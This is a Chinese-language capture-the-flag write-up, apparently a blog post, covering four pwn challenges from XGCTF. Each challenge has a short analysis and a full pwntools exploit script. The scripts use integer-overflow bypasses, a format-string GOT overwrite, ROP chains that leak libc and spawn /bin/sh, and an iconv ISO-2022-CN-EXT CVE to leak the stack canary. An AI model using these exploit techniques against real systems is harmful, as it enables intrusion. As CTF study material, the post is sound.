首页 > 其他分享 >(XGCTF)西瓜杯pwn部分wp

(XGCTF)西瓜杯pwn部分wp

时间:2024-07-23 17:08:09浏览次数:16  
标签:str puts libc wp sendline io recvuntil pwn XGCTF

(XGCTF)西瓜杯pwn部分wp

1.嘘嘘嘘

程序保护情况

没有开canary,64位ida逆向

看这,陌生吧,c++写的程序,所以看起来比较奇怪

分析一下,一上来向,buf和v5各写入4字节数据,如果两者之和大于32就会退出,否则答应buf+v7处,v5字节的数据,说白了就是不让溢出。

继续

exec 函数中会判断 this+8 处的一个 DWORD 是否==4660 如果满足则从 this+12 处取字符串传 入 system 函数执行

ps:vt-0x10 是为了到达抵消加上的16

exp:

from pwn import *
context(log_level='debug',arch='amd64',os='linux')

io = remote('pwn.challenge.ctf.show', 28310)

payload = p32(0xffffffff -11) + p32(8)

io.send(payload)

vt = u64(io.recv(8))
success('vt---->'+hex(vt))
payload = p64(vt -0x10) + p32(4660) + b'/bin/sh\x00'
size = len(payload)
io.send(p32(0xffffffff - 11) + p32(size) + payload)



io.interactive()

2.没主意了

程序保护情况

64位ida逆向

看看gift

这里调用了realpath,查阅libc知道他和system距离很近

存在格式化字符串漏洞

add函数输入的东西会先放在栈上然后放在bss段上,这里存在栈的复用

通过这个打格式化字符串,给了libc,修改realpath为system,拿到shell

exp:

from pwn import *
context(log_level='debug',arch='amd64',os='linux')

#io = process('./xg2')
io = remote('pwn.challenge.ctf.show' ,28300)
libc = ELF('./libc.so.6')
system = libc.sym['system']


def add(size,msg):
    io.sendlineafter('please input:','1')
    io.sendlineafter('size:',str(size))
    io.sendafter('msg:',msg)


def dell():
    io.sendlineafter('please input:','2')


def printf():
    io.sendlineafter('please input:','3')


def gift():
    io.sendlineafter('please input:','5')



add(0x90,'flag')

gift()
payload = b'%'+str(system & 0xffff).encode('utf-8')+b'c%6$hn'
payload = payload.ljust(0x80,b'a')
payload += p64(0x404040)
#gdb.attach(io)
add(0x90,payload)

printf()

add(0x90,'/bin/sh\x00')
gift()

io.interactive()

3.Do_it!

程序保护情况

64位ida逆向

可以看见是任意地址写,那就不用多说了,直接开炫

先泄露地址,然后写入one_gadget即可

ps:我脚本很长用的system("/bin/sh"),写复杂了

from pwn import *
context(log_level='debug',arch='amd64',os='linux')

#io = process('./xg3')
io = remote('pwn.challenge.ctf.show',28106)
elf = ELF('./xg3')
libc = ELF('./libc-2.30.so')


puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
io.recvuntil('dream?')
io.sendline(str(puts_got))

pop_rdi = 0x0000000000401383
main_addr = 0x40130A

io.recvuntil('index:')
io.sendline('14')
io.recvuntil('value:')
io.sendline(str(puts_got))


io.recvuntil('index:')
io.sendline('13')
io.recvuntil('value:')
#gdb.attach(io)
io.sendline(str(main_addr))


io.recvuntil('dream?')
io.sendline(str(puts_got))
io.recvuntil('index:')
io.sendline('15')
io.recvuntil('value:')
io.sendline(str(puts_plt))


io.recvuntil('index:')
io.sendline('13')
io.recvuntil('value:')
#gdb.attach(io)
io.sendline(str(main_addr))

io.recvuntil('dream?')
io.sendline(str(puts_got))

#gdb.attach(io)

io.recvuntil('index:')
io.sendline('13')
io.recvuntil('value:')
io.sendline(str(pop_rdi))

start_addr = 0x4012A6
#gdb.attach(io)
io.recvuntil('index:')
io.sendline('16')
io.recvuntil('value:')
io.sendline(str(start_addr))

io.recvuntil('Value set successfully!\n\n')
puts_add = u64(io.recv(6).ljust(8,b'\x00'))
success('puts_add----->'+hex(puts_add))
libc_base = puts_add - libc.sym['puts'] 
success('libc_base---->'+hex(libc_base))
system = libc_base + libc.sym['system']
binsh = libc_base + 0x1b6613
ret = 0x000000000040101a
io.recvuntil('dream?')
io.sendline(str(puts_got))

io.recvuntil('index:')
io.sendline('14')
io.recvuntil('value:')
io.sendline(str(pop_rdi))


io.recvuntil('index:')
io.sendline('13')
io.recvuntil('value:')
io.sendline(str(main_addr))



io.recvuntil('dream?')
io.sendline(str(puts_got))
io.recvuntil('index:')
io.sendline('15')
io.recvuntil('value:')
io.sendline(str(binsh))


io.recvuntil('index:')
io.sendline('13')
io.recvuntil('value:')
io.sendline(str(main_addr))





io.recvuntil('dream?')
io.sendline(str(puts_got))
io.recvuntil('index:')
io.sendline('16')
io.recvuntil('value:')
io.sendline(str(system))


io.recvuntil('index:')
io.sendline('13')
io.recvuntil('value:')
io.sendline(str(main_addr))


io.recvuntil('dream?')
io.sendline(str(puts_got))
io.recvuntil('index:')
io.sendline('13')
io.recvuntil('value:')
io.sendline(str(ret))

start_addr = 0x4012A6
#gdb.attach(io)
io.recvuntil('index:')
io.sendline('0')
io.recvuntil('value:')
io.sendline(str(start_addr))

io.interactive()

4.Echo

这个是今年爆出的CVE,可以看一下官方wp发的这个

https://xz.aliyun.com/t/14690

字符转换为 ISO-2022-CN-EXT出现越界

exp:

from pwn import *
context(log_level='debug',arch='amd64',os='linux')

io = remote('pwn.challenge.ctf.show' ,28139)
#io = process('./echo')

io.recvuntil('Echo:')

payload = 'a'*0x25 + '劄'
#gdb.attach(io)
io.send(payload)
io.recvuntil('\x48')
canary = u64(io.recv(7).rjust(8,b'\x00'))
success('canary----->'+hex(canary))



pop_rdi = 0x0000000000401493 #: pop rdi ; ret
puts_got = 0x404028
puts_plt = 0x4010F0
ret = 0x401256 
bss = 0x404100 + 0x100
pop_rbp = 0x000000000040123d #: pop rbp ; ret
lv = 0x40142D
rett= 0x40142e

payload = b'a'*0x28 + p64(canary) + p64(0) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(ret)
io.sendline(payload)
io.recvuntil('bye!')
libc_base = u64(io.recv(6).ljust(8,b'\x00')) -	0x80970
success('libc_base---->'+hex(libc_base))
system = libc_base + 	0x4f420 
binsh = libc_base + 	0x1b3d88
io.sendline('1')
payload = b'a'*0x28 +p64(canary)+p64(rett)*2+ p64(pop_rdi) + p64(binsh) + p64(system) 
io.sendline(payload)



io.interactive()

 

标签:str,puts,libc,wp,sendline,io,recvuntil,pwn,XGCTF
From: https://www.cnblogs.com/CH13hh/p/18318999

相关文章

  • DASCTF 2023六月挑战赛|二进制专项 PWN (下)
    DASCTF2023六月挑战赛|二进制专项PWN(下)1.can_you_find_me检查保护意料之中64位ida逆向只有add,和del功能不能show先看add吧最多申请10个堆块存在off_by_null漏洞,可以考虑unlink来进行堆块重叠del函数就没有UAF漏洞了1.首先想办法泄露出libc地址,因为本题libc是2.27......
  • NSSCTF-2021年SWPU联合新生赛
    [SWPUCTF2021新生赛]finalrce这道题目考察tee命令和转义符\这题主要是,遇到一种新的符号,"\"—转义符。我理解的作用就是在一些控制字符被过滤的时候,可以用转义符,让控制符失去原本的含义,变为字面量,但是作用不变。目录扫描得到1.txt文件,但是发现里面没有内容,利用tee命令可以......
  • WPS入门(一、文件,文字,段落、样式)
    一、总述在打开WPS后我们将看到工如下的图。这次主要从文件,文字,段落入手,讲述如何运用WPS二、文件打开文件后:这里主要有两个比较重要的功能,即上述画上了红方框的功能。1、输出为PDF点击输出为PDF后,如下页面:此处再讲解一下PDF文档设置情况。当点击设置后,如图:这里要......
  • DASCTF 2023六月挑战赛|二进制专项 PWN (上)
    DASCTF2023六月挑战赛|二进制专项PWN(上)1.easynoteedit函数对长度没有检查free函数存在UAF漏洞思路:1.通过堆溢出,UAF,修改size位达到堆块重叠,使用fastbinattack,把__malloc_hook,写入one_gadget2.通过unlink修改freegot表为systemexp:frompwnimport*context(log_lev......
  • DASCTF 2023六月挑战赛|二进制专项 PWN (上)
    DASCTF2023六月挑战赛|二进制专项PWN(上)1.easynoteedit函数对长度没有检查free函数存在UAF漏洞思路:1.通过堆溢出,UAF,修改size位达到堆块重叠,使用fastbinattack,把__malloc_hook,写入one_gadget2.通过unlink修改freegot表为systemexp:frompwnimport*context(lo......
  • Simple WPF: S3实现MINIO大文件上传并显示上传进度
    SimpleWPF:S3实现MINIO大文件上传并显示上传进度 合集-SimpleWPF(9) 1.SimpleWPF:WPF透明窗体和鼠标事件穿透07-012.SimpleWPF:WPF自定义按钮外形07-073.SimpleWPF:WPF实现按钮的长按,短按功能07-084.SimpleWPF:WPF自定义一个可以定义步长的SpinBox07-095.Si......
  • Simple WPF: WPF 透明窗体和鼠标事件穿透
    SimpleWPF:WPF透明窗体和鼠标事件穿透 合集-SimpleWPF(9) 1.SimpleWPF:WPF透明窗体和鼠标事件穿透07-012.SimpleWPF:WPF自定义按钮外形07-073.SimpleWPF:WPF实现按钮的长按,短按功能07-084.SimpleWPF:WPF自定义一个可以定义步长的SpinBox07-095.SimpleWP......
  • WPF The calling thread cannot access this object because a different thread owns
      publicintImgIdx{get{returnimgIdx;}set{if(value!=imgIdx){imgIdx=value;if(imgIdx<0){imgIdx=imgsCount-1;......
  • WPF ListBox's ItemsSource depend on another's ListBoxItem and fully implemented
    //xaml<Grid><Grid.ColumnDefinitions><ColumnDefinition/><ColumnDefinition/><ColumnDefinition/></Grid.ColumnDefinitions><ListBoxGrid.Column="0"ItemsSource=&......
  • 玄机——第九章-blueteam 的小心思 wp(HVV——“蓝队”应急响应简单模拟例题)
    文章目录一、前言二、概览简介三、参考文章四、步骤(解析)准备步骤#1.0步骤#1.1攻击者通过什么密码成功登录了网站的后台?提交密码字符串的小写md5值,格式flag{md5}。步骤#1.2攻击者在哪个PHP页面中成功上传了后门文件?例如upload.php页面,上传字符串"upload.php"的小写md5值......